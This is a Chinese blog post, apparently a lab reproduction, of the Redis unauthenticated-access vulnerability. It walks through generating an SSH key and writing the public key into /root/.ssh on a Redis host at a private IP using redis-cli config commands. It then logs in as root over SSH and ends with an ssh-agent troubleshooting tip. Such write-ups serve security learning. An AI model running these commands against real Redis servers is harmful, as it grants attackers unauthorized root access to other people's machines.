Redis未授权访问漏洞

0x01 漏洞简介

Redis服务器默认绑定在0.0.0.0:6379,这会导致redis暴露在公网上,在未经过认证的情况下,任何人都可以进行登录。攻击者可以通过向redis上写入公钥,再利用私钥进行登录。

利用redis的config命令,可以向服务器上写文件,攻击者通过将自己的公钥写入到服务器的/root/.ssh文件夹下的authroized_key文件中,即可成功登录到目标服务器。

0x02 漏洞复现

首先,生成自己的公钥和私钥

1
ssh-keygen -t rsa

会在/root/.ssh下生成id_rsa(私钥)、id_rsa.pub(公钥)

然后将公钥写入到一个txt中

1
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pino.txt

之后将该文件的内容通过redis的config命令写入到服务器上

1
2
3
4
5
6
cat pino.txt|redis-cli -h 192.168.3.55 -x set pino
redis-cli -h 192.168.3.55
>config set dir /root/.ssh
>config set dbfilename "authroized_keys"
>save
>exit

process

到目前为止我们已经把自己的公钥上传到了服务器上了,这个时候就可以通过私钥来进行ssh登录了。

1
ssh -i id_rsa root@192.168.3.55

就可以成功登录到服务器了。
finish

0x03 遇到的问题及解决方案

如果之前一切顺利后却发现最后一步ssh登录报错了,如下:
sign_and_send_pubkey: signing failed: agent refused operation

可以通过

1
2
eval "$(ssh-agent -s)"
ssh-add

解决

error

如果还有什么问题,欢迎私信交流~

本文标题:Redis未授权访问漏洞

文章作者:Pino-HD

发布时间:2018年06月19日 - 19:06

最后更新:2018年06月19日 - 19:06

原始链接:https://pino-hd.github.io/2018/06/19/Redis未授权访问漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!